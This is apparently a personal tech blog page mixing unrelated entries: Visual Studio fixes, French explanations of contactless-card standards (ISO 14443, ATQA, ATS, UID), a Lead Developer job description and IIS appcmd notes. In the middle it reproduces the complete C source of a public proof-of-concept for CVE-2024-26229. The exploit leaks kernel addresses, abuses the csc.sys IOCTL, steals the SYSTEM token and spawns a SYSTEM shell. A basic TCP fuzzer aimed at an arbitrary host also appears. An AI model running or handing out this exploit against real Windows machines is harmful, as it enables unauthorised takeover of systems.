Reversing Technology
A lot of people are shooting in the dark to resolve this issue, as I was doing also until today.
After having this error once again in Visual Studio .NET 2022 while trying to start my web projects, I tried the following and it worked ! :
In command line (non admin for me worked) :
ipconfig /release
ipconfig /renew
Sometimes, just keep it simple stupid and that is enough !
Microsoft Windows CSC Service Elevation of Privilege Vulnerability Exploit
https://www.coresecurity.com/core-labs/exploits
https://msrc.microsoft.com/update-guide/vulnerability/CVE-2024-26229
https://www.cve.org/CVERecord?id=CVE-2024-26229
https://github.com/varwara/CVE-2024-26229/blob/main/CVE-2024-26229.c
/*
PoC Info
-------------------------------------------
Vulnerability: CVE-2024-26229
Environment: Windows 11 22h2 Build 22621
-------------------------------------------
*/
#include <Windows.h>
#include <stdio.h>
#include <winternl.h>
#include <stdint.h>
// I use ntdllp.lib private library from WDK to avoid GetProcAddress for Nt* functions
#pragma comment(lib, "ntdllp.lib")
#define STATUS_SUCCESS 0
#define NtCurrentProcess() ((HANDLE)(LONG_PTR)-1)
#define EPROCESS_TOKEN_OFFSET 0x4B8
#define KTHREAD_PREVIOUS_MODE_OFFSET 0x232
#define CSC_DEV_FCB_XXX_CONTROL_FILE 0x001401a3 // vuln ioctl
#define SystemHandleInformation 0x10
#define SystemHandleInformationSize 0x400000
enum _MODE
{
KernelMode = 0,
UserMode = 1
};
typedef struct _SYSTEM_HANDLE_TABLE_ENTRY_INFO
{
USHORT UniqueProcessId;
USHORT CreatorBackTraceIndex;
UCHAR ObjectTypeIndex;
UCHAR HandleAttributes;
USHORT HandleValue;
PVOID Object;
ULONG GrantedAccess;
} SYSTEM_HANDLE_TABLE_ENTRY_INFO, *PSYSTEM_HANDLE_TABLE_ENTRY_INFO;
typedef struct _SYSTEM_HANDLE_INFORMATION
{
ULONG NumberOfHandles;
SYSTEM_HANDLE_TABLE_ENTRY_INFO Handles[1];
} SYSTEM_HANDLE_INFORMATION, *PSYSTEM_HANDLE_INFORMATION;
//
// Get the kernel object pointer for the specific process by it's handle
//
int32_t GetObjPtr(_Out_ PULONG64 ppObjAddr, _In_ ULONG ulPid, _In_ HANDLE handle)
{
int32_t Ret = -1;
PSYSTEM_HANDLE_INFORMATION pHandleInfo = 0;
ULONG ulBytes = 0;
NTSTATUS Status = STATUS_SUCCESS;
//
// Handle heap allocations to overcome STATUS_INFO_LENGTH_MISMATCH
//
while ((Status = NtQuerySystemInformation((SYSTEM_INFORMATION_CLASS)SystemHandleInformation, pHandleInfo, ulBytes, &ulBytes)) == 0xC0000004L)
{
if (pHandleInfo != NULL)
{
pHandleInfo = (PSYSTEM_HANDLE_INFORMATION)HeapReAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, pHandleInfo, (size_t)2 * ulBytes);
}
else
{
pHandleInfo = (PSYSTEM_HANDLE_INFORMATION)HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, (size_t)2 * ulBytes);
}
}
if (Status != NULL)
{
Ret = Status;
goto done;
}
for (ULONG i = 0; i < pHandleInfo->NumberOfHandles; i++)
{
if ((pHandleInfo->Handles[i].UniqueProcessId == ulPid) && (pHandleInfo->Handles[i].HandleValue == (unsigned short)handle))
{
*ppObjAddr = (unsigned long long)pHandleInfo->Handles[i].Object;
Ret = 0;
break;
}
}
done:
if (pHandleInfo != NULL)
{
HeapFree(GetProcessHeap, 0, pHandleInfo);
}
return Ret;
}
//
// A wrapper to make arbitrary writes to the whole system memory address space
//
NTSTATUS Write64(_In_ uintptr_t *Dst, _In_ uintptr_t *Src, _In_ size_t Size)
{
NTSTATUS Status = 0;
size_t cbNumOfBytesWrite = 0;
Status = NtWriteVirtualMemory(GetCurrentProcess(), Dst, Src, Size, &cbNumOfBytesWrite);
if (!NT_SUCCESS(Status))
{
return -1;
}
return Status;
}
//
//
//
NTSTATUS Exploit()
{
UNICODE_STRING objectName = { 0 };
OBJECT_ATTRIBUTES objectAttr = { 0 };
IO_STATUS_BLOCK iosb = { 0 };
HANDLE handle;
NTSTATUS status = 0;
//
// Initialize kernel objects to leak
//
uintptr_t Sysproc = 0;
uintptr_t Curproc = 0;
uintptr_t Curthread = 0;
uintptr_t Token = 0;
HANDLE hCurproc = 0;
HANDLE hThread = 0;
uint32_t Ret = 0;
uint8_t mode = UserMode;
RtlInitUnicodeString(&objectName, L"\\Device\\Mup\\;Csc\\.\\.");
InitializeObjectAttributes(&objectAttr, &objectName, 0, NULL, NULL);
status = NtCreateFile(&handle, SYNCHRONIZE, &objectAttr, &iosb, NULL, FILE_ATTRIBUTE_NORMAL, 0, FILE_OPEN_IF, FILE_CREATE_TREE_CONNECTION, NULL, 0);
if (!NT_SUCCESS(status))
{
printf("[-] NtCreateFile failed with status = %x\n", status);
return status;
}
//
// Leak System _EPROCESS kernel address
//
Ret = GetObjPtr(&Sysproc, 4, 4);
if (Ret != NULL)
{
return Ret;
}
printf("[+] System EPROCESS address = %llx\n", Sysproc);
//
// Leak current _KTHREAD kernel address
//
hThread = OpenThread(THREAD_QUERY_INFORMATION, TRUE, GetCurrentThreadId());
if (hThread != NULL)
{
Ret = GetObjPtr(&Curthread, GetCurrentProcessId(), hThread);
if (Ret != NULL)
{
return Ret;
}
printf("[+] Current THREAD address = %llx\n", Curthread);
}
//
// Leak current _EPROCESS kernel address
//
hCurproc = OpenProcess(PROCESS_QUERY_INFORMATION, TRUE, GetCurrentProcessId());
if (hCurproc != NULL)
{
Ret = GetObjPtr(&Curproc, GetCurrentProcessId(), hCurproc);
if (Ret != NULL)
{
return Ret;
}
printf("[+] Current EPROCESS address = %llx\n", Curproc);
}
//
// Sending the payload to the csc.sys driver to trigger the bug
//
status = NtFsControlFile(handle, NULL, NULL, NULL, &iosb, CSC_DEV_FCB_XXX_CONTROL_FILE, /*Vuln arg*/ (void*)(Curthread + KTHREAD_PREVIOUS_MODE_OFFSET - 0x18), 0, NULL, 0);
if (!NT_SUCCESS(status))
{
printf("[-] NtFsControlFile failed with status = %x\n", status);
return status;
}
printf("[!] Leveraging DKOM to achieve LPE\n");
printf("[!] Calling Write64 wrapper to overwrite current EPROCESS->Token\n");
Write64(Curproc + EPROCESS_TOKEN_OFFSET, Sysproc + EPROCESS_TOKEN_OFFSET, 0x8);
//
// Restoring KTHREAD->PreviousMode
//
Write64(Curthread + KTHREAD_PREVIOUS_MODE_OFFSET, &mode, 0x1);
//
// spawn the shell with "nt authority\system"
//
system("cmd.exe");
return STATUS_SUCCESS;
}
int main()
{
NTSTATUS status = 0;
status = Exploit();
return status;
}
I had a problem since yesterday while trying to publish an app.
What I tried after asking Perplexity AI is :
1- Launch visual studio in safemode with cmd :
cd C:\Program Files\Microsoft Visual Studio\2022\Professional\Common7\IDE
devenv.exe /safemode
Try to open the project I wanted to publish
The project loaded but there was "unloaded" (déchargé in french) next to all the projects
There is a dialogbox showing an error that showed many times (I closed it each time)
2 - Repeat 1 (all steps) after launching cmd in administrator mode
Open Visual Studio normally.
Publish then works.
If you have this error while trying to install or modify Visual Studio .NET 2022, then when this message is shown on screen you'll have the choice to open the log file. Open it and you may notice that the powershell command for installing this package has not been executed properly.
First of all try to copy and paste the powershell command in a "cmd" launched in admin mode.
Then if it still does not work, try to replace the "powershell.exe" by "pwsh".
It might resolve your issue.
using System;
using System.Net;
using System.Net.Sockets;
using System.Text;
using System.Threading;
class Program
{
static void Main(string[] args)
{
if (args.Length < 3)
{
Console.WriteLine("Usage: Fuzzer.exe <host> <port> <duration>");
return;
}
string host = args[0];
int port = int.Parse(args[1]);
int duration = int.Parse(args[2]);
try
{
using (TcpClient client = new TcpClient())
{
client.Connect(host, port);
NetworkStream stream = client.GetStream();
DateTime startTime = DateTime.Now;
while ((DateTime.Now - startTime).TotalSeconds < duration)
{
string fuzzData = GenerateFuzzData();
byte[] buffer = Encoding.ASCII.GetBytes(fuzzData);
stream.Write(buffer, 0, buffer.Length);
Thread.Sleep(100); // Attendre un peu avant de réessayer
}
}
}
catch (Exception ex)
{
Console.WriteLine("Error: " + ex.Message);
}
}
static string GenerateFuzzData()
{
StringBuilder sb = new StringBuilder();
Random rand = new Random();
int length = rand.Next(10, 100); // Génère une chaîne aléatoire de 10 à 100 caractères
for (int i = 0; i < length; i++)
{
sb.Append((char)rand.Next(32, 126)); // Caractères aléatoires ASCII imprimables
}
return sb.ToString();
}
}
ISO/IEC 14443 est une norme internationale qui définit les spécifications pour les cartes à puce sans contact et les lecteurs RFID utilisés pour la communication à courte distance (typiquement jusqu'à 10 cm). La norme est divisée en quatre parties, couvrant les aspects techniques tels que la modulation, la génération de trames, la procédure d'initialisation de la communication et les protocoles de transmission de données.
ISO/IEC 14443 Type A est l'un des deux types de modulation et de protocole de communication définis dans la norme ISO/IEC 14443, l'autre étant le Type B. Les cartes et les lecteurs compatibles avec le Type A utilisent une modulation de type Miller à 100 % avec une porteuse de 13,56 MHz et une modulation d'amplitude pour la transmission des données.
Les caractéristiques clés de l'ISO/IEC 14443 Type A comprennent :
1. Modulation : La modulation de la porteuse est réalisée en utilisant une modulation d'amplitude (AM) avec une modulation de type Miller à 100 %.
2. Fréquence de la porteuse : 13,56 MHz.
3. Débit de données : 106 kbit/s.
4. Protocole de communication : Le protocole de communication Type A utilise un schéma de trames avec un en-tête de préambule, un en-tête de trame (Start-of-Frame, SOF), un champ de données et un en-tête de fin de trame (End-of-Frame, EOF).
5. Sécurité : La norme ISO/IEC 14443 Type A prend en charge des mécanismes de sécurité, tels que l'authentification et le cryptage des données, pour protéger la confidentialité et l'intégrité des informations échangées entre la carte et le lecteur.
Les technologies MIFARE Classic et MIFARE Ultralight sont basées sur la norme ISO/IEC 14443 Type A et sont largement utilisées dans les applications de transport public, les systèmes de cartes à puce, les systèmes de contrôle d'accès, etc.
ATQA (Answer To Request for Answer) est un champ de données envoyé par une carte à puce sans contact ou un élément d'identification par radiofréquence (RFID) en réponse à une demande de communication initiale (appelée "Request") envoyée par un lecteur compatible. L'ATQA est utilisé pour indiquer les capacités de la carte ou de l'étiquette RFID, telles que le type de modulation et le débit de données utilisés pour la communication.
Dans le contexte de la norme ISO/IEC 14443, qui définit les spécifications pour les cartes à puce sans contact et les lecteurs RFID, l'ATQA est un champ de 2 octets (16 bits) envoyé par la carte en réponse à un "Request" envoyé par le lecteur. Les informations contenues dans l'ATQA varient en fonction du type de modulation (Type A ou Type B) et comprennent généralement :
1. Le type de modulation utilisé par la carte (Type A ou Type B).
2. Le débit de données (106 kbit/s pour les types A et B conformes à ISO/IEC 14443).
3. Des informations supplémentaires sur les capacités de la carte, telles que la prise en charge de la rétrodiffusion de puissance et d'autres fonctionnalités.
L'ATQA est une étape importante dans la procédure d'initialisation de la communication entre un lecteur RFID et une carte à puce sans contact, car il permet au lecteur de déterminer les caractéristiques techniques de la carte et de s'adapter en conséquence pour établir une communication efficace et sécurisée.
ATS (Answer To Select) est un ensemble de données envoyé par une carte à puce sans contact ou un élément d'identification par radiofréquence (RFID) en réponse à une sélection de la carte effectuée par un lecteur compatible. L'ATS est utilisé pour fournir des informations sur les capacités de la carte, les paramètres de communication et les services ou applications disponibles sur la carte.
Dans le contexte de la norme ISO/IEC 14443, qui définit les spécifications pour les cartes à puce sans contact et les lecteurs RFID, l'ATS est un ensemble de données envoyé par la carte en réponse à un "Select" envoyé par le lecteur. L'ATS est composé de plusieurs champs de données, dont la taille et le contenu varient en fonction du type de modulation (Type A ou Type B) et comprennent généralement :
1. Le code d'application (Application Identifier, AID) : Un identifiant unique qui permet au lecteur de sélectionner une application spécifique sur la carte.
2. Le champ ATS : Un ensemble de données qui fournit des informations sur les capacités de la carte, les paramètres de communication et les services ou applications disponibles.
3. Le champ d'extension ATS (si présent) : Un ensemble de données supplémentaires qui fournissent des informations complémentaires sur les capacités de la carte et les services disponibles.
L'ATS est une étape importante dans la procédure de communication entre un lecteur RFID et une carte à puce sans contact, car il permet au lecteur de déterminer les caractéristiques techniques de la carte, de sélectionner l'application appropriée et d'établir une communication efficace et sécurisée avec la carte.
UID (Unique Identifier) est un identifiant unique attribué à une carte à puce sans contact ou à un élément d'identification par radiofréquence (RFID). L'UID est généralement stocké dans une zone de mémoire spécifique de la carte ou de l'étiquette RFID et est utilisé par les lecteurs compatibles pour identifier et sélectionner la carte ou l'étiquette RFID lors de la communication.
Dans le contexte de la norme ISO/IEC 14443, qui définit les spécifications pour les cartes à puce sans contact et les lecteurs RFID, l'UID est un ensemble de données qui peut varier en taille, généralement de 4 à 10 octets (32 à 80 bits). L'UID est unique pour chaque carte ou étiquette RFID et est généré lors de la fabrication de la carte ou de l'étiquette.
L'UID est utilisé pour identifier et sélectionner une carte ou une étiquette RFID spécifique lors de la communication avec un lecteur compatible. Une fois que le lecteur a sélectionné la carte ou l'étiquette RFID en utilisant l'UID, il peut établir une communication avec la carte ou l'étiquette pour lire ou écrire des données, effectuer des opérations d'authentification, etc.
Il est important de noter que l'UID est souvent considéré comme une information sensible, car il peut être utilisé pour identifier et suivre des cartes ou des étiquettes RFID individuelles. Par conséquent, il est important de protéger l'UID et d'appliquer des mesures de sécurité appropriées pour prévenir les accès non autorisés et les attaques de type "skimming" ou "cloning".
Un Lead Developer, également connu sous le nom de "Chef Développeur" ou "Responsable Développement", est un développeur expérimenté qui assume un rôle de leadership au sein d'une équipe de développement logiciel. Le rôle d'un Lead Developer va au-delà de la simple programmation ; il implique également la gestion technique de projet, la coordination des activités des développeurs, la prise de décision technique, la résolution de problèmes complexes, la définition des standards de codage et la collaboration avec d'autres équipes telles que les équipes de design, de test et de production.
Les responsabilités principales d'un Lead Developer comprennent généralement :
Gestion technique: Diriger les efforts techniques pour développer et maintenir des applications, assurer la qualité du code et veiller à l'adoption de bonnes pratiques de développement.
Coordination de l'équipe: Superviser et gérer les développeurs, affecter les tâches, assurer le suivi du progrès et résoudre les problèmes d'alignement.
Communication: Communiquer avec les parties prenantes, y compris les clients, les product owners et les autres équipes, pour définir les besoins et les attentes.
Architecture et conception: Concevoir l'architecture logicielle, définir les modèles de conception et les choix technologiques, et assurer l'extensibilité et la maintenabilité du système.
Résolution de problèmes: Identifier et résoudre les problèmes techniques complexes qui peuvent survenir lors du développement.
Formation et mentorat: Aider à former et à guider les membres de l'équipe dans leur développement professionnel.
Intégration et déploiement: Participer à la planification et à la gestion des processus d'intégration continue et de déploiement.
En résumé, un Lead Developer est un développeur senior qui assume des responsabilités supplémentaires de gestion et de direction technique au sein d'une équipe de développement. Ils jouent un rôle crucial dans la réussite des projets logiciels en veillant à ce que les équipes fonctionnent efficacement et en choisissant les meilleures solutions techniques.
Le fichier `.vsidx` est un fichier d'index spécial utilisé par Visual Studio pour stocker des informations sur les symboles dans les fichiers de code source. Il est généralement associé à des fichiers `.cs`, `.cpp`, `.h`, `.hpp`, etc., et contient des informations sur les déclarations de fonctions, les classes, les variables, les espaces de noms, etc., ainsi que leurs emplacements dans le code source.
Ce fichier est généré automatiquement par Visual Studio lorsque vous ouvrez un projet et il est utilisé pour améliorer les performances de la fonctionnalité IntelliSense, la navigation dans le code et la recherche de symboles.
Il est important de noter que `.vsidx` est un fichier binaire et il n'est pas destiné à être modifié manuellement. Visual Studio gère son contenu internement et ne devrait pas être supprimé ou modifié par l'utilisateur.
Si vous rencontrez des problèmes avec `.vsidx`, comme des problèmes de performances ou des problèmes de navigation dans le code, vous pouvez essayer de supprimer le fichier et de redémarrer Visual Studio. Cela forcera Visual Studio à recréer l'index, ce qui peut résoudre les problèmes. Cependant, gardez à l'esprit que cela peut réduire temporairement les fonctionnalités de productivité de Visual Studio.
cd C:\Windows\system32\inetsrv.\appcmd list app.\appcmd delete app <APP.NAME>